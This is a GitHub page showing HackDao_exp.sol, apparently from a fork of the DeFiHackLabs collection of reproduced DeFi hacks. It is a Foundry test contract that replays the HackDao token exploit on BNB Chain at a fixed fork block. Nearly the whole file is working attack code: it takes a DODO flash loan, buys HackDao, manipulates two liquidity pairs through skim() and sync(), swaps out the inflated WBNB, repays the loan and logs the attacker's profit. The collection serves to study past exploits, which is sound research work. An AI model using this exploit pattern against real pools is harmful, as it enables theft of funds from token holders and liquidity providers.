forked from zhouxianyuan/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 2
/
HackDao_exp.sol
69 lines (58 loc) · 2.48 KB
/
HackDao_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @Analysis
// https://twitter.com/BlockSecTeam/status/1529084919976034304
// @Contract address
// https://bscscan.com/address/0x94e06c77b02ade8341489ab9a23451f68c13ec1c#code
contract ContractTest is DSTest{
IERC20 HackDao = IERC20(0x94e06c77b02Ade8341489Ab9A23451F68c13eC1C);
IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
Uni_Pair_V2 Pair1 = Uni_Pair_V2(0xcd4CDAa8e96ad88D82EABDdAe6b9857c010f4Ef2); // HackDao WBNB
Uni_Pair_V2 Pair2 = Uni_Pair_V2(0xbdB426A2FC2584c2D43dba5A7aB11763DFAe0225); //HackDao USDT
Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
address dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("bsc", 18073756);
}
function testExploit() public{
WBNB.approve(address(Router), type(uint).max);
HackDao.approve(address(Router), type(uint).max);
DVM(dodo).flashLoan(1_900 * 1e18, 0, address(this), new bytes(1));
emit log_named_decimal_uint(
"[End] Attacker WBNB balance after exploit",
WBNB.balanceOf(address(this)),
18
);
}
function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) public{
// get HackDao
buyHackDao();
// call skim() to burn HackDao in lp
HackDao.transfer(address(Pair1), HackDao.balanceOf(address(this)));
Pair1.skim(address(Pair2));
Pair1.sync();
Pair2.skim(address(Pair1));
// sell HackDao
(uint reserve0, uint reserve1, ) = Pair1.getReserves(); // HackDao WBNB
uint amountAfter = HackDao.balanceOf(address(Pair1));
uint amountin = amountAfter - reserve0;
uint amountout = amountin * 9975 * reserve1 / (reserve0 * 10000 + amountin * 9975);
Pair1.swap(0, amountout, address(this), "");
WBNB.transfer(dodo, 1_900 * 1e18);
}
function buyHackDao() internal{
address [] memory path = new address[](2);
path[0] = address(WBNB);
path[1] = address(HackDao);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
WBNB.balanceOf(address(this)),
0,
path,
address(this),
block.timestamp
);
}
}